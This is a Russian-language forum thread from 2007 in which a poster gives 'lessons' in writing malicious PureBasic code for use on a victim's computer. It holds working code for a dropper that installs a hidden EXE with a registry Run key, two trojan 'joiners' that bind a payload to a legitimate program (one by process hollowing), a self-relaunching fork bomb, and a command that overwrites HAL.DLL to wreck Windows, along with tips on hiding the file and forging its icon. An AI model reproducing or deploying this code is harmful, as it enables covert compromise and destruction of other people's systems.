www.boolean.name

www.boolean.name (http://forum.boolean.name/index.php)
-   PureBasic (http://forum.boolean.name/forumdisplay.php?f=90)
-   -   Dark side of Programming (http://forum.boolean.name/showthread.php?t=2363)

Chrono Syndrome 10.01.2007 19:03

Dark side of Programming
 
Прим: Оригинальная тема находиться здесь: http://forum.df2.ru/index.php?showtopic=4681&st=0

Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.

Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь: http://www.boolean.name/showthread.php?t=2463), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать .

Итак, УРОК ПЕРВЫЙ:
Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу . Предлагаю поменять местами сигнал от конопок мыши (т.е., чтобы левый клик считался как правый, и наоборот). А потом, через случайный промежуток времени, вернуть все как было. А потом опять поменять... И так до бесконечности .

Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код:

Код:

Define FSwap = -1
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 100)
ForEver

Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую:

Цитата:

reverses or restores the meaning of the left and right mouse buttons.
BOOL SwapMouseButton(
BOOL fSwap // reverse or restore buttons
);

Parameters
fSwap
Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings.
После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках ) жертве в "Автозагрузку". Все, HAVE FUN . Самое смешное, что многие люди сначала начинают грешить на мышь, и лишь потом до них доходит, что не все-то так просто ...

To be continued...

Chrono Syndrome 10.01.2007 19:11

Re: Dark side of Programming
 
Итак, я думаю настало время приподать вам Урок №2 .

В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код:
Код:

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure
DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EndDataSection
Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати ) программу-шутку, и записывает ее жертве в системную директорию (можно, по идее, и в любую другую, но мне больше нравиться так) под именем "MC.EXE", после чего прописывает ее в реестре на автозапуск. Разберем последний этап по-подробнее. Дело в том, что помимо "автозагрузки" есть еще один способ заставить Windows автоматически запускать какую-либо программу на старте - создание в разделе реестра "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run " значение типа #REG_SZ (имя не имеет значения), содержащего путь до запускаемого EXE'шника. В зависимости от выбора стартового раздела: #HKEY_LOCAL_MACHINE или #HKEY_CURRENT_USER, автозапуск будет выполняться для всех пользователей вообще, или только для запустившего иньектор. Лично мне этот путь нравиться намного больше, чем операции с "Автозагрузкой", т.к. просмотреть реестр догадывается гораздо меньше народу.

Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе . Скорее всего у вас возникнет вопрос: а можно ли сделать иньектор для программы, исходников которой у вас нет (или есть, но они написанны не на PB) ? Можно, конечно. Но об этом уже как-нибудь в другой раз, ибо сегодняшний урок уже окончен .

Chrono Syndrome 10.01.2007 19:16

Re: Dark side of Programming
 
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик
Код:

RunProgram(ProgramFilename())
RunProgram(ProgramFilename())

Попробуйте запустить, вас ждут незабываемые ощущения !

Chrono Syndrome 10.01.2007 19:34

Re: Dark side of Programming
 
Procedure Lesson3()
На прошлом занятии я рассказала вам о простейшем способы автоматического внедрения кода на чужой компьютер - иньекторах. Теперь же настало время для изучения более продвинутого механизма - Joiner'ов. Вообще-то в сети, при желании, можно найти немало готовых программ подобного рода, но лично я предпочитаю все делать своими руками, чего и вам советую .

Итак, открываем IDE, и пишем следующий код:
Код:

DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
EndDataSection

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Prototype.l ZwUnmapViewOfSectionPT(Processhandle.l,BaseAdress.l)
ntdll = GetModuleHandle_("ntdll.dll")
Global ZwUnmapViewOfSection_.ZwUnmapViewOfSectionPT = GetProcAddress_(ntdll,"ZwUnmapViewOfSection")
Global WinPath.s
Structure IMAGE_SECTION_HEADER
 Name.b[8]
 StructureUnion
  PhysicalAddress.l
  VirtualSize.l
 EndStructureUnion
 VirtualAddress.l
 SizeOfRawData.l
 PointerToRawData.l
 PointerToRelocations.l
 PointerToLinenumbers.l
 NumberOfRelocations.w
 NumberOfLinenumbers.w
 Characteristics.l
EndStructure

Procedure injectfile(lpProcessname.s, lpBuffer.l)
 Structure IMAGE_SECTION_HEADERS
  a.IMAGE_SECTION_HEADER[95]
 EndStructure
 
 Result.l = 0
 Startupinfo.STARTUPINFO
 ProcessInfo.PROCESS_INFORMATION
 Context.CONTEXT
 BaseAddress.l
 lpNumberOfBytesRead.l
 lpNumberOfBytesWritten.w
 *NtHeaders.IMAGE_NT_HEADERS
 *Sections.IMAGE_SECTION_HEADERS
 i.l

;---
Result = #False
ZeroMemory_(@StartupInfo, SizeOf(STARTUPINFO));
StartupInfo\cb = SizeOf(STARTUPINFO)
StartupInfo\dwFlags = #STARTF_USESHOWWINDOW
StartupInfo\wShowWindow = #SW_SHOW

If CreateProcess_& #40;lpProcessname,#NUL,#NUL,#NUL,#False,#CREATE_SUSPENDED,#NUL,#NUL,StartupInfo,
@ProcessInfo)

 Context\ContextFlags = #CONTEXT_INTEGER
 GetThreadContext_(ProcessInfo\hThread, Context);
 ReadProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesRead)
 
 If ZwUnmapViewOfSection_(ProcessInfo\hProcess,BaseAddress) >= 0
 
  *adr.IMAGE_DOS_HEADER = lpBuffer
  *NtHeaders = lpBuffer + *adr\e_lfanew
 
  BaseAddress = VirtualAllocEx_(ProcessInfo\hProcess,*NtHeaders\OptionalHeader\ImageBase,*NtHeaders\OptionalHeader\SizeOfImage,#MEM_RESERVE | #MEM_COMMIT, #PAGE_READWRITE)
  WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress,lpBuffer,*NtHeaders\OptionalHeader\SizeOfHeaders,@lpNumberOfBytesWritten)

  *Sections = @*NtHeaders\OptionalHeader + *NtHeaders\FileHeader\SizeOfOptionalHeader
 
  For i = 0 To *NtHeaders\FileHeader\NumberOfSections-1
WriteProcessMemory_(ProcessInfo\hProcess,BaseAddress+*Sections\a[i]\VirtualAddress,lpBuffer+*Sections\a[i]\PointerToRawData,*Sections\a[i]\SizeOfRawData,@lpNumberOfBytesWritten)
  Next
 
  WriteProcessMemory_(ProcessInfo\hProcess,Context\Ebx+8,@BaseAddress,SizeOf(BaseAddress),@lpNumberOfBytesWritten)
  Context\Eax = BaseAddress + *NtHeaders\OptionalHeader\AddressOfEntryPoint
  Result = SetThreadContext_(ProcessInfo\hThread, Context)
  If Result
        ResumeThread_(ProcessInfo\hThread)
      Else
        TerminateProcess_(ProcessInfo\hProcess, 0);
        CloseHandle_(ProcessInfo\hProcess)
        CloseHandle_(ProcessInfo\hThread)
  EndIf
 EndIf
EndIf

EndProcedure

InjectFile(ProgramFilename(), ?EXE)

С помощью вышуказанного кода можно обьединить (отсюда и название ) нашу программу-прикол (вернее иньектор с ней) с любым EXE'шником (другое дело, что не всегда это будет работать) под Windows (с DOS'овскими прогами такой фокус, увы, не пройдет). Другое дело, что не во всех случаях подобное сооружение заработает как надо, ну да это уже детали . Все просто: прописываем в обоих IncludeBinary соответствующие пути, компилируем... Ловушка готова . Единственный проблемный вопрос - подделка иконки, тоже решается довольно просто - необходимая легко извлекается из оргинального .EXE ResHacker'ом, либо другой подобной утилитой. Так, чего-то я вам еще хотела добавить напоследок... Ах да, точно: Have Fun !
EndProcedure

Chrono Syndrome 10.01.2007 19:36

Re: Dark side of Programming
 
Alternative Joiner (дополнение к 3ему уроку):
У описанного в 3м уроке Joiner'а есть одна интересная особенность: он запускает оригинальную программу (ну, под которую он маскируется) непосредственно из памяти. Это, конечно, хорошо и правильно, но не всегда. Как я уже писала, с прогам под DOS (и некоторыми, спецефическими, под Windows) такой фокус не пройдет (или просто не будут работать, или будут, но так, что лучше бы не работали). Есть еще один ньюанс: при таком способе запуска не передаются параметры командной строки. Рассмотрим альтернативный вариант Joiner'а, лишенный этих недостатков (но имеющий свои ) :

Код:

DataSection
DNA: IncludeBinary "путь до иньектируемого EXE"
End_DNA:
EXE: IncludeBinary "путь до программы, под которую будет маскироваться Joiner"
End_EXE:
EndDataSection

Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S)
Define Hnd
RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0)
RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat))
RegCloseKey_(Hnd)
EndProcedure

Define SysDir.S = Space(#MAX_PATH)
GetSystemDirectory_(SysDir, #MAX_PATH)
SysDir = PeekS(@SysDir)
If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf
SysDir + "MC.EXE"
SetFileAttributes(SysDir, #PB_FileSystem_Normal)
CreateFile(0, SysDir)
WriteData(0, ?DNA, ?End_DNA - ?DNA)
CloseFile(0)
RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir)

Macro PReturn : ProcedureReturn : EndMacro

Procedure.S CombinePath(Dir.S, FName.S)
If Right(Dir, 1) <> "\" : Dir + "\" : EndIf
PReturn Dir + FName
EndProcedure

Procedure.S TempFile(Dir.S, Ext.S)
Define FName.S, TOFix
Repeat : FName = ""
TOFix = Random(39)
For I = 0 To TOFix
FName + Chr(Random(25) + 65)
Next I
FName = CombinePath(Dir, FName + "." + Ext)
Until FileSize(FName) = -1
PReturn FName
EndProcedure

Procedure.S CmdLine()
CL.S = PeekS(GetCommandLine_())
CutSize = Len(ProgramFilename())
If Left(CL, 1) = Chr('"') : CutSize + 2 : EndIf
CL = Trim(Right(CL, Len(CL) - CutSize))
PReturn CL
EndProcedure

Define CurDir.S = GetPathPart(ProgramFilename()), FNAme.S = TempFile(CurDir, ".EXE")
CreateFile(0, FName)
WriteData(0, ?EXE, ?End_EXE - ?EXE)
CloseFile(0)
RunProgram(FName, CmdLine(), CurDir, #PB_Program_Wait)
SetFileAttributes(FName, #PB_FileSystem_Normal)
DeleteFile(FName)

Настройка аналагоичная. В отличае от предыдущего Joiner'а, этот использует метод распаковки программы во временный файл (со случайным именем), и запуск уже оттуда (после окончания работы программы файл уничтожается). Этим методом можно запускать не работающие с первым Joiner'ом программы. Впрочем, есть проги, которые как раз не заработают под этим Joiner'ом. Думайте сами, решайте сами ...

Chrono Syndrome 10.01.2007 19:39

Re: Dark side of Programming
 
Убить Винду одной процедурой...

Код:

RunProgram("Cmd.EXE", "/C ECHO Винда MUST DIE XD !!! > %SYSTEMROOT%\SYSTEM32\HAL.DLL", "")
Прим.: Работает только под Win2K+.

Chrono Syndrome 10.01.2007 19:47

Re: Dark side of Programming
 
Пьяная, пьяная мишь... ©

Код:

Define X, Y, X1, Y1, Z
 
Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro
 
GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver

Мышку начнет заносить как пьяную .

Chrono Syndrome 10.01.2007 19:54

Re: Dark side of Programming
 
Mix обоих мышиных приколов:

Код:

Global FSwap = -1, X, Y, X1, Y1, Z
 
Macro GetCoords()
X = DesktopMouseX()
Y = DesktopMouseY()
EndMacro
 
Procedure ButtonSwitcher(A)
Repeat : SwapMouseButton_(FSwap)
FSwap = ~FSwap
Delay((Random(4) + 1) * 1000)
ForEver
EndProcedure
 
CreateThread(@ButtonSwitcher(), 0)
 
GetCoords()
Repeat
Delay(50)
X1 = DesktopMouseX()
Y1 = DesktopMouseY()
Z = Random(5)
SetCursorPos_(X1 + (X1 - X) * Z, Y1 + (Y1 - Y) * Z)
GetCoords()
ForEver

Прим.: Вроде как работает и с отключенным threadsafe...

Chrono Syndrome 11.01.2007 21:48

Re: Dark side of Programming
 
Развлекаемся с клавой...
Небольшая, но прикольная программка, каждые 15 секунд имитирующая нажатие случайной (от A до Z) клавиши (представляете сколько, эдак, через пол-часика, очепяток набереться ?) :

Код:

#A = 'A'
#Z = 'Z'
#Second = 1000;MS
 
Macro Rnd()
Random(#Z - #A) + #A
EndMacro
 
Repeat
Define Key = Rnd()
keybd_event_(Key, 0, 0, 0)
keybd_event_(Key, 0, #KEYEVENTF_KEYUP, 0)
Delay(15 * #Second)
ForEver


Serendipity 12.01.2007 02:52

Re: Dark side of Programming
 
хм.. любопытно.. хотя увлекаюсь другими областями применения программирования.
Был такой прикол в QBASIC'е.
Создаем файл.
записывам по первой позиции (размер сегмента 128 байт кажется) и по кукой-нибудь 100000.
закрываем файл.
и ОПА!!!
за две комманды и 0,NNN секунд мы получили файл рамером 100-800 МБ, кому сколько хочется (маленький - не интересно).
Но он не пустой.
И дело не в том, что мы в него записали полкилобайта.
В файле можно просмотреть содержимое диска в том месте, которое адресно занял файл.
Я был неожиданно удивлен обнаружив в нем строки двухлетней давности.
Какие-то имена файлов или URL'ы..
Так что можно пошпиенить без всяки FAT-explorer'ов :))
Приношу извинения, если не следовало писать это в данной теме.

moka 12.01.2007 08:19

Re: Dark side of Programming
 
Chrono Syndrome Очень интерестные уроки, обязательно ждём продолжений!

impersonalis 12.01.2007 14:01

Re: Dark side of Programming
 
Цитата:

Сообщение от Serendipity
хм.. любопытно.. хотя увлекаюсь другими областями применения программирования.
Был такой прикол в QBASIC'е.
Создаем файл.
записывам по первой позиции (размер сегмента 128 байт кажется) и по кукой-нибудь 100000.
закрываем файл.
и ОПА!!!
за две комманды и 0,NNN секунд мы получили файл рамером 100-800 МБ, кому сколько хочется (маленький - не интересно).
Но он не пустой.
И дело не в том, что мы в него записали полкилобайта.
В файле можно просмотреть содержимое диска в том месте, которое адресно занял файл.
Я был неожиданно удивлен обнаружив в нем строки двухлетней давности.
Какие-то имена файлов или URL'ы..
Так что можно пошпиенить без всяки FAT-explorer'ов :))
Приношу извинения, если не следовало писать это в данной теме.

Да, бывает весьма занятно почитать в ASCII-режиме память (HDD|RAM)...

kvitaliy 12.01.2007 23:07

Re: Dark side of Programming
 
А вот тоже интересный код, который можно оформить в весёлую шутку, если прикрутить к таймеру, и менять системную палитру каждые секунд 20!
Код:

;kvitaliy for PB4.* 12.01.2007
;{- Enumerations
;{ Windows
Enumeration
  #Window_0
EndEnumeration
;}
;{ Gadgets
Enumeration
  #ButtonGadget_0
  #ButtonGadget_1
EndEnumeration
;}
;}
;{  можно менять  цвет конкретных элементов
; #COLOR_SCROLLBAR = 0       
; #COLOR_BACKGROUND = 1
; #COLOR_ACTIVECAPTION = 2
; #COLOR_INACTIVECAPTION = 3
; #COLOR_MENU = 4
; #COLOR_WINDOW = 5
; #COLOR_WINDOWFRAME = 6
; #COLOR_MENUTEXT = 7
; #COLOR_WINDOWTEXT = 8
; #COLOR_CAPTIONTEXT = 9
; #COLOR_ACTIVEBORDER = 10
; #COLOR_INACTIVEBORDER = 11
; #COLOR_APPWORKSPACE = 12
; #COLOR_HIGHLIGHT = 13
; #COLOR_HIGHLIGHTTEXT = 14
; #COLOR_BTNFACE = 15
; #COLOR_BTNSHADOW = 16
; #COLOR_GRAYTEXT = 17
; #COLOR_BTNTEXT = 18
; #COLOR_INACTIVECAPTIONTEXT = 19 ;Text of inactive window
; #COLOR_BTNHIGHLIGHT = 20 ;3D highlight of button

;}

Global Dim SavedColors(21)
Global Dim IndexArray(21)
Global Dim NewColors(21)

Procedure OpenWindow_Window_0()
  If OpenWindow(#Window_0, 386, 260, 275, 62, "Цвет системной палитры", #PB_Window_SystemMenu|#PB_Window_TitleBar|#PB_Window_SizeGadget)
    If CreateGadgetList(WindowID(#Window_0))
      ButtonGadget(#ButtonGadget_0, 15, 15, 95, 20, "Изменить")
      ButtonGadget(#ButtonGadget_1, 150, 15, 100, 20, "Восстановить")
    EndIf
  EndIf
EndProcedure

OpenWindow_Window_0()

For i = 0 To 20
  SavedColors(i) = GetSysColor_(i)
Next i
 
;{- Event loop
Repeat
  Event = WaitWindowEvent()
  Select Event
    ; ///////////////////
    Case #PB_Event_Gadget
      EventGadget = EventGadget()
      EventType = EventType()
      If EventGadget = #ButtonGadget_0
     
      ; Изменить цвета всех элементов на экране случайным образом
        For i = 0 To 20
            NewColors(i) = RGB(Random(255),Random(255),Random(255))
            IndexArray(i) = i
        Next i
      SetSysColors_( 21, @IndexArray(0), @NewColors(0))
      ElseIf EventGadget = #ButtonGadget_1
      ; восстановить цвет
        SetSysColors_( 21, @IndexArray(0), @SavedColors(0))
      EndIf
    ; //////////////////////
    Case #PB_Event_CloseWindow
      EventWindow = EventWindow()
      If EventWindow = #Window_0
        Break
      EndIf
  EndSelect
ForEver
;}
    ; восстановить цвет перед выходом!!!
    SetSysColors_( 21, @IndexArray(0), @SavedColors(0))
End


jimon 13.01.2007 22:32

Re: Dark side of Programming
 

Serendipity
хочу заметить что не надо заниматся извратом
ничего не запрещает произвести чтение любого сектора HDD или оперативной памяти
можно так же свободно читать дискеты и cd-rom
да и содержимое bios тоже практически свободно открыто

Tadeus 26.10.2007 21:18

Re: Dark side of Programming
 
А можно, плиз, привести алгоритм этих джойнеров? Был бы очень благодарен ;)


Часовой пояс GMT +4, время: 07:33.

vBulletin® Version 3.6.5.
Copyright ©2000 - 2021, Jelsoft Enterprises Ltd.
Перевод: zCarot